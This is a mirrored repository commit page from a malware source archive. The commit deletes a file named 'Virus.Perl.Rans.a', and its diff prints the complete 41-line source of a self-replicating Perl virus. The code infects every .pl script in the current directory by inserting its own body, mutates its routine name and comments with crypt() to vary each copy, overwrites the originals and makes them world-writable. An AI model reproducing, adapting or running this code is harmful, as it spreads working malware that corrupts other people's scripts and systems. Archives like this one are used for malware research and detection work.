ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-19 09:56:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Delete Virus.Perl.Rans.a

Browse Source 
dup
This commit is contained in:
vxunderground 2020-11-14 01:38:01 -06:00 committed by GitHub
parent 618ec2f7fe
commit d90860b546
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 41 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

41
Perl/Virus.Perl.Rans.a
View File

@ -1,41 +0,0 @@
qwerty();#
sub qwerty {
a: while (<*.pl>)
{
my $oF = "qwerty";
my $tN = "$ENV{\"HOME\"}/tmp/".crypt($_, $_), $oN = "./$_", $nF = crypt($_, $oF);
open (WE, "<$0");
open (IFILE, "<$_");
open (TEMP, ">$tN");
while (<IFILE>)
{
chomp;
if (/\#!Sran/) { unlink ($tN); next a }
elsif (!/#!\//) { print TEMP "$_\n" }
else { print TEMP "$_ #!Sran\n$nF();\n" }
}
while (<WE>)
{
$st = "";
s/#[0-9].*/$st/;
if (/sub $oF/ || /my \$oF =/) { $cW = 1; s/$oF/$nF/}
next if (/#!\/usr\/bin\/perl/ || /qwerty();#/ || !$cW);
if (int(rand(2))) { $st=" #".crypt($_, rand(256)) }
else {$st = ""}
chomp;
print TEMP "$_$st\n";
}
unlink ($oN);
rename ($tN, $oN);
chmod (0777, $oN);
}
}